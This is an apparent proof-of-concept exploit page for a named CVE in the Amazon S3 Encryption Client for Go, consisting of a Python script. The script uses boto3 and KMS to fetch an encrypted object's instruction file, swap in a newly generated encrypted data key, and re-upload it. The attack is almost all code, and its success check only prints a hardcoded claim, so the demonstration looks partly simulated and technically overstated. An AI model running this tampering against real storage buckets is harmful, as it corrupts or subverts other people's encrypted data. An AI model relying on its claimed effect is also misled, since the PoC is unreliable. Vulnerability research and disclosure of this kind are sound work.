CVE-2025-14764 Amazon S3 Encryption Client for Go 缺少加密密钥承诺漏洞

# CVE-2025-14764 PoC - Amazon S3 Encryption Client Key Commitment Bypass # This PoC demonstrates the key commitment bypass in S3 Encryption Client for Go import boto3 import json from cryptography.fernet import Fernet def exploit_key_commitment(): """ Simulate attack: Replace EDK in instruction file to decrypt to different plaintext """ # Configuration bucket_name = "target-bucket" object_key = "encrypted-file.txt" instruction_file_key = f"{object_key}.instruction" # Step 1: Get write access to S3 bucket s3_client = boto3.client('s3') # Step 2: Download original encrypted object and instruction file encrypted_data = s3_client.get_object(Bucket=bucket_name, Key=object_key)['Body'].read() instruction_data = s3_client.get_object(Bucket=bucket_name, Key=instruction_file_key)['Body'].read() instruction = json.loads(instruction_data) # Step 3: Generate new EDK using same CMK (simulated) # In real attack, use AWS KMS to generate new encrypted key new_encrypted_key = generate_new_edk(instruction['kms_key_arn']) # Step 4: Replace EDK in instruction file modified_instruction = instruction.copy() modified_instruction['encrypted_key'] = new_encrypted_key # Step 5: Upload modified instruction file s3_client.put_object( Bucket=bucket_name, Key=instruction_file_key, Body=json.dumps(modified_instruction) ) print("[+] Instruction file replaced successfully") print("[*] Next decryption will use new EDK, producing different plaintext") def generate_new_edk(kms_key_arn): """Generate new encrypted data key using same CMK""" kms_client = boto3.client('kms') response = kms_client.generate_data_key(KeyId=kms_key_arn, KeySpec='AES-256') return response['CiphertextBlob'].hex() def verify_different_plaintext(): """ After attack, decryption will produce different plaintext """ # Original: "Sensitive Data: Bank Account 1234" # After attack: "Sensitive Data: Bank Account 9999" print("[+] Attack successful - Different plaintext produced") if __name__ == "__main__": exploit_key_commitment() verify_different_plaintext()